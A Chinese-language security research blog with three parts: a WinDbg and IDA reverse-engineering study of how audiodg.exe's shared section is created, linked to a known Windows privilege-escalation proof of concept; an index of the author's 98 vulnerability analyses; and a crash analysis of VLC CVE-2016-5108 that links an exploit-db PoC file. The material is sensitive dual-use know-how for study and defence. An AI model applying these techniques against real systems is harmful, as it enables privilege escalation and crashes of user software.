正如之前所说我比较关心james forshaw所使用的关于section的方法,Audiodg.exe是Audiosrv的一个子进程,真正的父进程是代理在svchost中的,这两者都是SYSTEM进程。在进入正题前首先我们来看一下接口的调用过程,james forshaw的poc中应用IMMDeviceEnumerator接口调用最终获取到IAudioClient接口指针,从而申请section,调用过程为:

IMMDeviceEnumerator-> GetDefaultAudioEndpoint
             |
              -----> IMMDevice->Activate
                             |
                              -----> IAudioClient

IMMDeviceEnumerator通过MMDeviceEnumerator class创建实例,这个类是一个InprocServer,因此实际上这里创建的是一个进程内调用过程。

而在IMMDevice->Activate方法中会再次调用CoCreateInstance创建IAudioClient实例,其代码实现逻辑在CEndpointDevice::Activate->CSubEndpointDevice::Activate,代码很简单,但是逻辑过长这里我就不再拷贝了,在调用过程中可以这样下断点。

0:000> ba e1 MMDevApi!CSubEndpointDevice::Activate
0:000> sxe ld: AudioSes.dll
0:000> g
Breakpoint 0 hit
MMDevApi!CSubEndpointDevice::Activate:
00007ff8`72fcc4c0 4055            push    rbp
0:000> g
ModLoad: 00007ff8`72fc0000 00007ff8`73030000   C:\WINDOWS\System32\AudioSes.dll
ntdll!ZwMapViewOfSection+0x14:
00007ff8`7c2dfb94 c3              ret

而IAudioClient接口实现依然是一个进程内接口,接口中方法的代码实现在AudioSes.dll中。

在我调试的过程中发现了两个有趣的地方。


第一个是james forshaw使用IMMDeviceEnumerator最终获得IAudioClient接口指针并调用Initialize的AUDCLNT_SHAREMODE.AUDCLNT_SHAREMODE_SHARED方法创建一个section这并不是必须的,Windows下有一个服务叫做计划任务(tasks schedular)服务,其代理在一个SYSTEM权限的svchost中,它的管理职能实现在svchost的子进程taskhostw.exe中。

可以看到它托管了systemsoundsservice的任务,当systemsoundsservice调用audiosrv服务的时候,会令audiosrv启动audiodg.exe子进程并创建section,这个section就是我们在漏洞触发时使用的section。

下面我们来看一下这个过程,首先Audiosrv的svchost中启动audiodg.exe的调用函数是audiosrv! AudioServerInitialize,调试时我们可以通过windbg附加到audiosrv的svchost上,然后通过ba e1 audiosrv!AudioServerInitialize,之后通过任务管理器kill掉audiodg已经存在的子进程(有一种情况是进程不存在,一般都是存在的,后面会解释,若进程不存在可以看我博文后面的部分,其实很多声卡操作可以激活taskhostw中的功能从而创建audiodg.exe,比如右键右下角扬声器,点击打开音量混合器,随便拖动一下:P),立刻就能捕捉到windbg中断在AudioServerInitialize。

AudioServerInitilize会进入内部函数调用AudioServerInitialize_Internal,函数内部有一个虚函数调用,调用到CWindowsPolicyManager::RpcGetProcess,这里会获取RPC Client的processid。(是的,其实AudioServerInitialize就是RPC接口之一,这点后面会提到。)。

0:007> pc
audiosrv!AudioServerInitialize_Internal+0x24a:
00007ff9`13cdc40a ff1508f51200    call    qword ptr [audiosrv!_guard_dispatch_icall_fptr (00007ff9`13e0b918)] ds:00007ff9`13e0b918=00007ff922fcfc10
0:007> u rax
AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess:
00007ff9`13c59740 488bc4          mov     rax,rsp
00007ff9`13c59743 48895808        mov     qword ptr [rax+8],rbx

Audiosrv会通过RpcGetProcess方法内部调用CApplicationManager::RpcGetProcess最终调用I_RpcBindingInqLocalClientPID获取到绑定RPC的Client的PID,具体的的实现在AUDIOSRVPOLICYMANAGER.dll中,

__int32 __fastcall CApplicationManager::RpcGetProcess(CApplicationManager *this, void *a2, struct CProcess **a3)
{
  v121 = a3;
  v114 = -2i64;
  v3 = a2;
  v4 = (CApplicationManager *)g_ApplicationManager;
  v93 = (CApplicationManager *)g_ApplicationManager;
  *a3 = 0i64;
  v5 = I_RpcBindingInqLocalClientPID(a2, &dwProcessId);
  //获取绑定的rpc client的pid
  if ( v5 )
    return wil::details::in1diag3::Return_Win32(
             retaddr,
             (void *)0x3B2,
             (unsigned __int64)"multimedia\\audiocore\\server\\audiosrv\\windowspolicymanager\\applicationmanager.cpp",
             (const char *)(unsigned int)v5);
  v77 = 0i64;
  v7 = CApplicationManager::TryFindProcessFromProcessId(v4, dwProcessId, (struct CProcess **)&v77);


0:007> pc
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46:
00007ff9`13c6c7fe ff15b40a0200    call    qword ptr [AUDIOSRVPOLICYMANAGER!_imp_I_RpcBindingInqLocalClientPID (00007ff9`13c8d2b8)] ds:00007ff9`13c8d2b8={RPCRT4!I_RpcBindingInqLocalClientPID (00007ff9`22935250)}
0:007> k//stack trace
Child-SP          RetAddr           Call Site
00000005`0bbfe810 00007ff9`13c59761 AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46
00000005`0bbfea10 00007ff9`13cdc410 AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess+0x21
00000005`0bbfea50 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x250
00000005`0bbfebc0 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
00000005`0bbfec20 00007ff9`229bb4a6 RPCRT4!Invoke+0x73

其中I_RpcBindingInqLocalClientPID的第二个参数就是目标的PID,作为传出参数步过后可以看到PID的值。

0:007> p
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x4c:
00007ff9`13c6c804 85c0            test    eax,eax
0:007> dd rdx l1
00000005`0bbfe8d0  000016a4//pid = 0x16a4

其值为0x16a4,十进制为5796,即为我在之前的图片中taskhostw的pid,接下来函数会最终通过CAudioDGProcess::LaunchADGProcess创建audiodg.exe进程,其函数实现如下(中间省略号跳过了赋值audiodg.exe进程安全描述符的过程):

__int64 __fastcall CAudioDGProcess::LaunchADGProcess(__int64 a1, unsigned __int8 a2)
{
  if ( !GetSystemDirectoryW((LPWSTR)&v27, 0x104u) )//获取System32路径 C:\windows\system32
  {
   
  }
  v8 = StringCbCatExW((STRSAFE_LPWSTR)&v27, v5, v6, &v22, &v21, dwCreationFlags);//
//……
  *(_QWORD *)&ProcessInformation.dwProcessId = 0i64;
  if ( CreateProcessW(
         0i64,
         (LPWSTR)&v27,//创建进程commandline为 c:\windows\system32\audio.exe
         &ProcessAttributes,
         0i64,
         1,
         v2 << 18,
         0i64,
         0i64,
         (LPSTARTUPINFOW)&v26,
         &ProcessInformation) )

0:009> pc
audiosrv!CAudioDGProcess::LaunchADGProcess+0x82:
00007ff9`13cb7426 e8cd190000      call    audiosrv!StringCbCatExW (00007ff9`13cb8df8)
0:009> p
audiosrv!CAudioDGProcess::LaunchADGProcess+0x87:
00007ff9`13cb742b 8bd8            mov     ebx,eax
0:009> dc 50bcfe280
00000005`0bcfe280  003a0043 0057005c 004e0049 004f0044  C.:.\.W.I.N.D.O.
00000005`0bcfe290  00530057 0073005c 00730079 00650074  W.S.\.s.y.s.t.e.
00000005`0bcfe2a0  0033006d 005c0032 00550041 00490044  m.3.2.\.A.U.D.I.
00000005`0bcfe2b0  0044004f 002e0047 00580045 00000045  O.D.G...E.X.E...

Stack trace:
0:005> k
Child-SP          RetAddr           Call Site
00000005`0bafdfb0 00007ff9`13cb71af audiosrv!CAudioDGProcess::LaunchADGProcess+0x82
00000005`0bafe310 00007ff9`13cd6642 audiosrv!CAudioDGProcess::LaunchAndWaitForADGStartup+0x47
00000005`0bafe400 00007ff9`13cdc3da audiosrv!CAudioDGProcess::InstantiateADG+0x112
00000005`0bafe4c0 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x21a
00000005`0bafe630 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
00000005`0bafe690 00007ff9`229bb4a6 RPCRT4!Invoke+0x73

当然,当audiodg.exe进程已经存在的时候,AudioServerInitialize_Internal会直接跳转,不会进入到后续分支(比如使用james forshaw的这种方法在调用Initialize的时候会先进入这个函数,但是如果audiodg.exe进程存在则不会进入创建进程的分支),这点感兴趣的读者可以自己调试,代码实现也在AudioServerInitialize_Internal函数中。

因此实际上IMMDevieEnumerator只是确保audiodg.exe一定会被创建出来,若当前系统audiodg.exe已被创建,可以直接通过NtQuerySystemInformation的方法把audiodg.exe进程空间句柄表的section object获取出来,再通过NtMapViewOfSection映射进当前进程空间。

当然关于section的创建并不是在AudioServerInitialize中完成的,这就是第二个有趣的地方,如果想正常调试james forshaw的PoC的内容,我们需要kill掉taskhostw进程,同时kill掉audiodg.exe,这时候不要再做其他的声卡相关操作,否则又会在audiosrv触发创建audio.srv流程(比如SndVol.exe进程)。


第二点我们来看看IAudioClient是怎么把audiodg.exe及section创建出来的,其实我们在当前中调用COM接口,一直是进程内通信,audioses.dll被加载进当前空间并调用它的方法。而之所以会out-of-process调用到audiosrv方法,其实是IAudioClient中调用了RPC接口。

IAuidoClient的Initialize方法会调用CAudioClient::InitializeInternalHelper函数,最终调用CAudioClient::InitializeAudioServer向audioserver发送rpc请求,当audiodg.exe进程不存在时,server调用CreateProcess创建audiodg.exe, InitializeAudioServer的函数实现如下:

__int64 __fastcall CAudioClient::InitializeAudioServer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
  LODWORD(v8) = GetAudioServerBindingHandle(a1, L"AudioClientRpc", (RPC_BINDING_HANDLE *)&v10);
  if ( (signed int)v8 < 0
    || (CAudioClient::GetVadServerSettings(v7, (__m128i *)&v12),
        v8 = NdrClientCall3(&pProxyInfo, 4u, 0i64, v10).Pointer,
        v11 = (__int64)v8,
        (signed int)v8 < 0) )
  {

其中NdrClientCall3最终调用RPC过程,它的第二个参数指向ProcNum,我们可以通过RPCView看到函数调用,或者直接通过IDA pro查看RPC Server调用RpcServerRegisterIf3时的MIDL规范的结构体找到IDL的方法。

RPC Server的注册过程在CAudioSrv::VAD_AudiosrvServiceStart中实现。

最终创建audiodg.exe进程,关于进程创建我在上面已经提到,这里不再赘述,这时虽然audiodg.exe被创建,但是section并未创建在audiodg.exe进程中。

接下来在调用完CAudioClient::InitializeAudioServer之后,会继续调用CAudioClient::CreateRemoteStream,这同样是一个RPC调用过程。

__int64 __fastcall CAudioClient::CreateRemoteStream(__int64 a1)
{
  v1 = *(_DWORD *)(a1 + 180);
  v2.Pointer = NdrClientCall3(&pProxyInfo, 7u, 0i64, *(_QWORD *)(a1 + 0xD8)).Pointer;

ProcNum为7,根据IDL可以知道这个CreateRemoteStream会在AudioServerCreateStream,可以在svchost中通过be a1 audiosrv!AudioServerCreateStream下断点,之后在Client单步执行即可命中断点。之后继续跟踪,调用过程如下:

audiosrv!CVADServer::CreateStream
                |
audiosrv!CAudioResourceManager::CreateStream
                |       
audiosrv!InitializeStreamAndModeDescriptors
                |
audiosrv!CCompositeSystemEffect::Initialize

最终在CCompositeSystemEffect::Initialize会调用MakeAndInitialize函数之后调用CoCreateInstance创建APOWrapperSrv Class方法实例,在audiodg.exe列集过程中会通过file mapping创建stream的section。可以在audiodg.exe这样下断点:ba e1 ntdll!NtCreateSection。在svchost中单步执行会观察到audiodg.exe进程命中断点。

0:007> pc
audiosrv!CCompositeSystemEffect::Initialize+0x127:
00007ffd`04b2bd27 e834a40000      call    audiosrv!Microsoft::WRL::Details::MakeAndInitialize<CAPOWrapperClient,IAudioProcessingObject,unsigned short const * __ptr64 & __ptr64,enum APO_TYPE & __ptr64,_GUID const & __ptr64> (00007ffd`04b36160)
0:007> p

0:004> g
Breakpoint 0 hit
ntdll!NtCreateSection:
00007ffd`11e9ffc0 4c8bd1          mov     r10,rcx
0:001> k
Child-SP          RetAddr           Call Site
0000009c`8807b828 00007ffd`0e155521 ntdll!NtCreateSection
0000009c`8807b830 00007ffd`0e156570 KERNELBASE!CreateFileMappingNumaW+0x111
0000009c`8807b8f0 00007ffd`11548049 KERNELBASE!CreateFileMappingW+0x20
0000009c`8807b940 00007ffd`11548477 clbcatq!StgIO::MapFileToMem+0x79
0000009c`8807b980 00007ffd`11546cf8 clbcatq!StgIO::Open+0x25b
0000009c`8807ba00 00007ffd`1153b636 clbcatq!StgDatabase::InitDatabase+0x108
0000009c`8807ba60 00007ffd`1153b4e1 clbcatq!OpenComponentLibraryEx+0x66
0000009c`8807bab0 00007ffd`1153adf1 clbcatq!OpenComponentLibraryTS+0x21
0000009c`8807bae0 00007ffd`1153b2f2 clbcatq!_RegGetICR+0x129
0000009c`8807bda0 00007ffd`11526fd2 clbcatq!CoRegGetICR+0x76
0000009c`8807bdd0 00007ffd`11521b41 clbcatq!CComClass::Init+0x5442
0000009c`8807bf90 00007ffd`1123eb9f clbcatq!CComCLBCatalog::GetClassInfoW+0x81
0000009c`8807bfe0 00007ffd`1123e71d combase!CComCatalog::GetClassInfoInternal+0x3ef [onecore\com\combase\catalog\catalog.cxx @ 3419]
0000009c`8807c220 00007ffd`1125febc combase!CComCatalog::GetClassInfoW+0x5d [onecore\com\combase\catalog\catalog.cxx @ 1114]
0000009c`8807c370 00007ffd`1125cb14 combase!GetClassInfoWithInprocOrLocalServer+0x70 [onecore\com\combase\inc\comcataloghelpers.hpp @ 58]
0000009c`8807c3c0 00007ffd`1125b91b combase!wCoGetTreatAsClass+0x88 [onecore\com\combase\class\cogettreatasclass.cpp @ 44]
0000009c`8807c490 00007ffd`1125b35f combase!CClassCache::CClassEntry::Complete+0x67 [onecore\com\combase\objact\dllcache.cxx @ 751]
0000009c`8807c500 00007ffd`11224f01 combase!CClassCache::CClassEntry::Create+0x4b [onecore\com\combase\objact\dllcache.cxx @ 872]
0000009c`8807c560 00007ffd`1125aec5 combase!CClassCache::GetClassObjectActivator+0x571 [onecore\com\combase\objact\dllcache.cxx @ 5424]
0000009c`8807c6d0 00007ffd`11222606 combase!CClassCache::GetClassObject+0x45 [onecore\com\combase\objact\dllcache.cxx @ 5271]
0000009c`8807c740 00007ffd`1123d937 combase!ICoGetClassObject+0x6f6 [onecore\com\combase\objact\objact.cxx @ 1500]
0000009c`8807cae0 00007ffd`1123ce28 combase!GetPSFactoryInternal+0x1f7 [onecore\com\combase\dcomrem\riftbl.cxx @ 2542]
0000009c`8807cc20 00007ffd`112416d0 combase!CStdMarshal::GetPSFactory+0x50 [onecore\com\combase\dcomrem\marshal.cxx @ 6408]
0000009c`8807cd70 00007ffd`1124584a combase!CStdMarshal::CreateStub+0x120 [onecore\com\combase\dcomrem\marshal.cxx @ 6681]
0000009c`8807cfa0 00007ffd`1124467c combase!CStdMarshal::MarshalObjRefImpl+0x5ca [onecore\com\combase\dcomrem\marshal.cxx @ 1157]
0000009c`8807d110 00007ffd`1123933f combase!CStdMarshal::MarshalObjRef+0x8c [onecore\com\combase\dcomrem\marshal.cxx @ 1078]

在MakeAndInitialize中关键调用如下:

 v15 = CoCreateInstance(
            &GUID_3a8b5a92_80b0_48b3_8197_701ecd3261e4,
            0i64,
            0x17u,
            &GUID_69fed9b6_5405_48b8_3db0_4ca492fc3677,
            (LPVOID *)v9 + 7);

最终创建APOWrapperSrv Class的IAPOWrapperSrv接口实例,在audiodg中会创建storage类型的database,从而调用file mapping创建一个section。这个section会在后面作为共享stream使用。

待解决的问题:

我是在rs5 x64的环境下调试的这个漏洞,在分析的过程中也发现了james Forshaw在case下留的几点rs5环境下的安全机制,有待后续研究。

作者能力有限,若有错误请指正,感谢阅读。

写在98篇漏洞分析之后---2019.03.09

8 March 2019 at 16:00

作者:k0shl


写在前面


今天结束了最后一篇漏洞分析的分享,意味着我在15-16年分析的98篇漏洞分析全部分享结束了,我的博客从2016年10月23日上线之后一直保持更新,到现在经过了两年半的时间,感谢小伙伴们一直以来的支持。这98篇漏洞分析,也几乎是我15-16年学习二进制的全部回忆。

我在15-16年处于入门阶段,由于那段时间一直是自己学习,踩了很多坑,也学习到了很多东西,感谢帮助过我的前辈老师还有小伙伴们,以及看雪,i春秋,drops,玄武、wiki的推送以及大佬们的个人博客等等很多优质的学习资源,让我不断的意识到错误,改正错误,并始终保持着对技术的敬畏。

尤其是exploit-db,我这98篇文章几乎全部都是来自exploit-db,exploit-db提供了exploit/PoC,以及漏洞软件下载的地址,paper以及一些漏洞细节的说明,这让我在搭建环境方面节省了太多的精力,很多进行过漏洞分析的小伙伴可能深有体会,很多时候漏洞分析很快,但是搭建环境的坑很多。

也正是15-16年的学习让我从一个二进制的门外汉慢慢变成了一个初出茅庐的新手,深感二进制魅力无穷,01的世界精彩,也结实了很多很多好朋友,在他们身上学到了很多。

在更新的这两年半的时间里,不断收到邮件和QQ好友申请,有很多看过支持过我的读者们和我交流技术,提出建议,在带着技术疑问对我曾经的漏洞分析的复盘中,我发现了自己曾经许多的知识误区并及时改正,感谢与我讨论的读者们。

这两年半我也经历了很多重要的人生抉择,其实我也不知道在未来看自己当年的抉择是否正确,但至少我绝对不会后悔,因为至少现在看我的抉择是正确的,并且人生如棋,既然落子,那就不会也不能再后悔。感谢家人的支持,不光是人生抉择上,还有我当时在进行学习时的鼓励。

在这段时间我同时也在一些优质媒体诸如安全客等等上分享过一些这段时间的一些新的漏洞分析,相比较这98篇漏洞分析要更深入一些,也算是我成长的轨迹。最后还是要感谢所有支持过,看过我博客的读者们,今后我的博客也将继续保持不定期更新,分享一些最新的研究成果。

我把我这98篇漏洞分析按照漏洞类型进行了总结归纳在这里分享给大家,也作为一个分割线,结束是新的奋斗的开始,今后要继续努力啦!


漏洞总结索引


越界读写

TCPDUMP 4.5.2拒绝服务漏洞
NetCat【nc】 0.7.1 远程拒绝服务漏洞
VideoLAN VLC Media Player 2.2.1

栈溢出

HALLIBURTON LOGVIEW PRO拒绝服务漏洞
ABSOLUTEFTP 远程代码执行漏洞
Mini httpd远程代码执行漏洞(CVE-2013-5019)
PHP 5.0.0 tidy_parse_file代码执行漏洞
Asx to MP3本地代码执行漏洞
Cain RDP缓冲区溢出漏洞(CVE-2008-5405)
EFS Software HTTP Server远程代码执行漏洞
DameWare Mini Client远程代码执行漏洞(CVE-2016-2345)
i-FTP SEH缓冲区溢出漏洞
AutoPlay远程代码执行漏洞
putty pscp远程代码执行漏洞(CVE-2016-2563)
Free WMA MP3 Converter 1.8缓冲区溢出漏洞
Freefloat FTP Server远程代码执行漏洞
Disk Pulse Enterprise远程代码执行漏洞
MPlayer Lite栈溢出漏洞
CuteZip 2.1代码执行漏洞
Soritong MP3 Player代码执行漏洞
W10 NOVUS SCADA工控远程拒绝服务漏洞
WinCalc 2 .num栈溢出漏洞
Konica Minolta FTP CWD命令远程代码执行漏洞(CVE-2015-7768)
Ministream RM-MP3 CONVERTER远程代码执行漏洞(CVE-2014-9448)
Winstats(.fma)本地栈溢出漏洞
Mini-STREAM RIPPER .pls缓冲区溢出漏洞
INTELLITAMPER .map代码执行漏洞(CVE-2008-5755)
MP3Info 0.8.5a代码执行漏洞(CVE-2006-2465)
NOIP本地代码执行漏洞
[CVE-2011-5165]Free MP3 CD Ripper本地代码执行漏洞
CamShot1.2远程代码执行漏洞(SEH)
Photodex Proshow Producer本地代码执行漏洞
Video Charge Studio缓冲区溢出漏洞
xRadio 0.95b '.xrl'本地代码执行漏洞
[CVE-2015-7547]glibc getaddrinfo栈溢出漏洞
FTPShell Client 5.24本地文件创建功能缓冲区溢出漏洞
Destiny Media Player 1.61 'm3u'文件格式缓冲区溢出漏洞
Xion Audio Player '.m3u8'缓冲区溢出漏洞分析
BS.Player 2.57缓冲区溢出漏洞分析
HTML Help Workshop .SEH本地代码执行漏洞
[CVE-2008-5405]Cain and Abel 4.9.24 RDP 缓冲区溢出漏洞
WS10 Data Server工控服务远程代码执行漏洞
iSQL Linux SQL管理工具缓冲区溢出漏洞
[CVE-2014-4158]Kolibri2.0远程代码执行漏洞分析
[CVE-2013-5019]Ultra Mini httpd 1.21远程代码执行漏洞分析
PInfo 0.6.9-5.1本地代码执行漏洞
HNB 1.9本地代码执行漏洞
Sunway Force Control SCADA 6.1 SP3工控服务远程代码执行漏洞
VUPlayer 2.49缓冲区溢出漏洞
Prosshd 1.2 post远程代码执行漏洞
TFTP Server 1.4远程代码执行漏洞分析
CoolPlayer+ Portable 2.19.6 - .m3u缓冲区溢出漏洞
MediaCoder 0.8.43.5852 - .m3u缓冲区溢出漏洞
Halliburton LogView Pro 9.7.5远程代码执行漏洞
EasyFTP Server 1.7.0.11 APPE远程代码执行漏洞
NScan 0.91 本地代码执行漏洞
LamaHub 0.0.62远程代码执行漏洞
阿里旺旺2010远程代码执行漏洞
EKG Gadu 本地代码执行漏洞
php 5.0 tidy_parse_file缓冲区溢出漏洞
Disk Pulse Enterprise远程代码执行漏洞
WDK 8.1 kill.exe内存破坏漏洞
LanSpy 2.0.0.155本地代码执行漏洞
Network Scanner 4.0.0本地代码执行漏洞分析
GNU GTypist 2.9.5-2本地拒绝服务漏洞
uSQLite1.0.0远程代码执行漏洞
WinaXe 7.7 远程代码执行漏洞
Dual DHCP DNS Server 7.29远程拒绝服务漏洞
ConQuest DICOM Server 1.4.17d 远程代码执行漏洞
Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞

空指针引用

FreeBSD 10.1 x86内核拒绝服务漏洞
onehttpd 0.7远程拒绝服务漏洞分析
[CVE-2013-3299]RealPlayer拒绝服务漏洞
Axessh 4.2拒绝服务漏洞

内存破坏

BIND 9 buffer.c断言拒绝服务漏洞
GOMPlayer2.2wav格式拒绝服务漏洞
CP3 Studio PC异常处理函数拒绝服务漏洞
HTTPBLITZ远程拒绝服务漏洞
CVE-2011-3478 Symantec pcAnywhere远程代码执行漏洞
nrss reader 0.3.9本地代码执行漏洞

整数溢出

[CVE-2016-1885]FreeBSD 10.2 x64整数溢出漏洞分析
Easy Internet Sharing Proxy Server 2.2整数溢出远程代码执行漏洞
Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞

释放后重用

CVE-2011-0065 Firefox释放后重用漏洞
[CVE-2016-0111]IE SetAttributeStringAndPointer释放后重用漏洞分析
[MS12-077]IE10 CMarkup Use After Free漏洞分析
[MS16-063]IE11浏览器释放后重用漏洞
Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

逻辑

FHFS 1.2.1命令执行漏洞分析
LShell<=0.9.15远程代码执行漏洞
VSFTPD v2.3.4后门分析
JCG路由命令执行漏洞分析
Proftpd-1.3.3c后门分析
[CVE-2014-6287]Rejetto HTTP File Server远程命令执行漏洞分析

堆溢出

[CVE-2013-0658]Schneider Electirc Accutech工控服务堆溢出漏洞分析
[CVE-2014-9707]Goahead 3.1-3.4堆溢出远程代码执行漏洞
Windbg logviewer.exe缓冲区溢出漏洞

[CVE-2016-5108]VideoLAN VLC Media Player 2.2.1越界写拒绝服务漏洞

8 March 2019 at 16:00

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


VideoLAN VLC Media Player是一款播放器,这个漏洞编号为CVE-2016-5108,播放器在处理某数据的时候,由于处理某数据时没有对数据长度进行严格校验,导致越界写入引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/b8c997e772be343e1664fee14c1fb9b7-vlc-2.2.1-win32.exe

PoC:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41025.mov


漏洞复现


首先打开VLC,打开mov文件,程序崩溃,附加windbg

(1588.788): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=0000178f ecx=00000058 edx=0000178f esi=0d1fd000 edi=1a44fdc8
eip=68322501 esp=1a44fd30 ebp=155cb8de iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll - 
libadpcm_plugin+0x2501:
68322501 66891e          mov     word ptr [esi],bx        ds:0023:0d1fd000=????

通过kb回溯堆栈调用

0:024> kb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll - 
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
1a44fd38 75536a18 7a0e1e88 1a44fdc8 0d1fd000 libadpcm_plugin+0x2501
00000000 00000000 00000000 00000000 00000000 KERNELBASE!InterlockedCompareExchange+0xf8

之前只有一个Interlock的原子函数调用,来看一下当前是用bx向esi指针写入数据,esi指针的值是一个无效值,来看一下之前的情况。

0:024> dd 0d1fd000-8
0d1fcff8  c0c0178f c0c0c0c0 ???????? ????????

可以看到,前面还有值,这有可能是一个长度控制不严格引发的越界写漏洞。


漏洞分析


分析的过程中,发现了这个漏洞处于一个函数中。

int __cdecl sub_714C18B0(int a1, int *a2)
{
    while ( 1 )
    {
    }
}

函数sub_714c18b0中有一处while循环,这个while循环代码量很长,执行的是一个向内存拷贝的操作,这里我就不具体分析整个代码逻辑,只看关键部分,首先是对待拷贝区的赋值。

.text:714C24B7 ; 846:         v83 = 88;
.text:714C24B7                 cmova   ecx, eax
.text:714C24BA                 mov     [esi], edx

714c24ba地址执行完毕后,edx存放的是待拷贝缓冲区的指针,它会交给esi地址中。

0:012> g
Breakpoint 0 hit
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24ba esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24ba:
6bdf24ba 8916            mov     dword ptr [esi],edx  ds:0023:16d2fdc8=16d2fd74
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24bc esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24bc:
6bdf24bc 897c2418        mov     dword ptr [esp+18h],edi ss:0023:16d2fd48=16d2fde8
0:006> dd 16d2fdc8
16d2fdc8  0e1f6e40

之后每轮都会向这个缓冲区指针内写入值,接下来继续单步跟踪,发现了要拷贝字符串的赋值。

0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf24c0 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x24c0:
6bdf24c0 e9ef000000      jmp     libadpcm_plugin+0x25b4 (6bdf25b4)
0:006> p
eax=00000058 ebx=00001200 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=0e1f6e40
eip=6bdf25b4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25b4:
6bdf25b4 8b3c8dc062df6b  mov     edi,dword ptr libadpcm_plugin!vlc_entry_license__2_2_0b+0x2c20 (6bdf62c0)[ecx*4] ds:0023:6bdf6390=00000424

在6bdf25b4地址位置执行了一处赋值操作,会把6bdf62c0这个固定缓冲区中的内容拷贝到edi中,而是从ecx*4+6bdf62c0的位置向前拷贝,ecx会逐步减少,拷贝的长度就是(6bdf6390-6bdf62c0)*8,这个后面会提到。

接下来会将edi的值加eax的值,这个eax就是每次循环最后赋值的值,相加后算数右移3位。

0:006> p
eax=00000058 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25bf esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25bf:
6bdf25bf 89f8            mov     eax,edi
0:006> p
eax=00000424 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c1 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x25c1:
6bdf25c1 c1f803          sar     eax,3
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00001200 esi=16d2fdc8 edi=00000424
eip=6bdf25c4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
libadpcm_plugin+0x25c4:
6bdf25c4 89de            mov     esi,ebx

算数右移后的值在eax中,是0x84,随后会将eax的值交给ebx,再把ebx的值和上一轮的值相加。

0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=000004a8 esi=00000000 edi=00000424
eip=6bdf25cf esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libadpcm_plugin+0x25cf:
6bdf25cf 0f44d0          cmove   edx,eax
0:006> p
eax=00000084 ebx=00000000 ecx=00000034 edx=00000084 esi=00000000 edi=16d2fdc8
eip=6bdf25f4 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libadpcm_plugin+0x25f4:
6bdf25f4 0317            add     edx,dword ptr [edi]  ds:0023:16d2fdc8=00001200

最后会将edx的值先存放进eax指针,这个指针很熟悉吧,就是之前相加的指针,之后每次都会叠加,而edx同时也会交给ebx,最后ebx会执行拷贝。

0:006> p
eax=16d2fdc8 ebx=00000000 ecx=00000034 edx=00001284 esi=00000000 edi=16d2fdc8
eip=6bdf3494 esp=16d2fd30 ebp=11b208c2 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
libadpcm_plugin+0x3494:
6bdf3494 8910            mov     dword ptr [eax],edx  ds:0023:16d2fdc8=00001200
